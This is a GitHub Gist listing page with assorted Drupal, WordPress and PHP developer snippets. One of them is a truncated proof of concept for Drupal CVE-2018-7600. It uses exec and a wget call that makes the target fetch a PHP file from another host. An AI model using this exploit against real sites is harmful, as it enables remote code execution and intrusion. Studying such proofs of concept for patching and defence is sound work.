Skip to content

Instantly share code, notes, and snippets.

@mortenson
mortenson / ddrush.sh
Last active Apr 25, 2021
What I currently use for local Drupal/Tome dev
View ddrush.sh
#! /bin/bash
# This runs a new Docker container, mounts the current directory (Drupal root),
# and runs an arbitrary drush command, in case you don't want to run it in dsession.
sudo docker run --rm -it --init -v "$(pwd)":/var/www/tome mortenson/tome drush "$@"
@hdogan
hdogan / curl-smtp.php
Last active Nov 18, 2021
Sending SMTP e-mail with curl/php
View curl-smtp.php
<?php
function read_cb($ch, $fp, $length) {
return fread($fp, $length);
}
$fp = fopen('php://memory', 'r+');
$string = "From: <no-reply@example.com>\r\n";
$string .= "To: <hdogan@example.com>\r\n";
$string .= "Date: " . date('r') . "\r\n";
$string .= "Subject: Test\r\n";
@pento
pento / php-block.js
Last active Jul 10, 2021
Converting a shortcode to a block: this method is fast to do, but a mediocre UX. You should only use this as a stopgap until you can implement a full block UI.
View php-block.js
// License: GPLv2+
var el = wp.element.createElement,
registerBlockType = wp.blocks.registerBlockType,
ServerSideRender = wp.components.ServerSideRender,
TextControl = wp.components.TextControl,
InspectorControls = wp.editor.InspectorControls;
/*
* Here's where we register the block in JavaScript.
@wpscholar
wpscholar / .eslintignore
Last active Jun 28, 2021
Webpack 4 Config for WordPress plugin, theme, and block development
View .eslintignore
**/*.min.js
**/*.build.js
**/node_modules/**
**/vendor/**
build
coverage
cypress
node_modules
vendor
@AlbinoDrought
AlbinoDrought / exploit.sh
Created Apr 12, 2018
Drupal CVE-2018-7600 PoC
View exploit.sh
#!/bin/sh
# https://github.com/a2u/CVE-2018-7600/issues/2
HOST="http://drupal.docker.localhost:8000"
PHP_FUNCTION="exec"
PHP_ARG="wget http://172.16.30.108:6969/foob.php"
curl -X POST \
"$HOST/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax" \
-F form_id=user_register_form \
@rfay
rfay / d8test_setup.sh
Created Mar 18, 2018
Experimental setup of Drupal 8 testing for ddev
View d8test_setup.sh
#!/bin/bash
# This script runs inside the ddev web container and sets up Drupal 8 testing.
# It assumes a regular Drupal 8 checkout, with the docroot in the project root.
# It can be added to the config.yaml as a step to automatically happen on start
# - Run this manually with "ddev exec ./d8test_setup.sh"
# - Run this in the container (after "ddev ssh) by just running "./d8test_setup.sh"
# - Run it automatically run on start by adding it to the project's config.yaml:
#hooks:
@tonivj5
tonivj5 / gmail.php
Last active Jun 2, 2021 — forked from richjenks/gmail.php
Send email using a PHP Generator and cURL
View gmail.php
class Gmail {
private $mail;
private $email;
private $pass;
public function __construct($email, $pass){
$this->email = $email;
$this->pass = $pass;
}
@curtismchale
curtismchale / only-top-term-filters.php
Created May 25, 2016
Only lets the top level term in the permalink structure
View only-top-term-filters.php
<?php
function wpse147453_remove_child_categories_from_permalinks( $permalink, $post, $leavename, $sample ) {
if ( in_array( $post->post_type, array( 'focus_courses' ) ) ) {
// Allow for slug to be editable
$slug = $leavename ? '%' . $post->post_type . '%' : $post->post_name;
// Generate premalink prefix based on post type
$prefix = 'courses';
// add parent term slug
$term_slug = focus_top_term( $post );
@stevenslack
stevenslack / functions.php
Created Apr 26, 2016
If sidebar has a text widget with a particular shortcode
View functions.php
<?php
/**
* Check the sidebar or sidebars for a shortcode
*
* @param mixed array|string|int $index sidebar id, name, or an array of sidebar names
* @param string $shortcode the shortcode to check for
* @return bool true if the sidebar contents contains the shortcode, false otherwise
*/
function if_sidebar_has_shorcode( $index, $shortcode ) {
// get all the sidebars widgets
@jeroenvdgulik
jeroenvdgulik / Talklist.md
Last active May 12, 2020
My mostly incomplete list of memorable talks that should probably be required material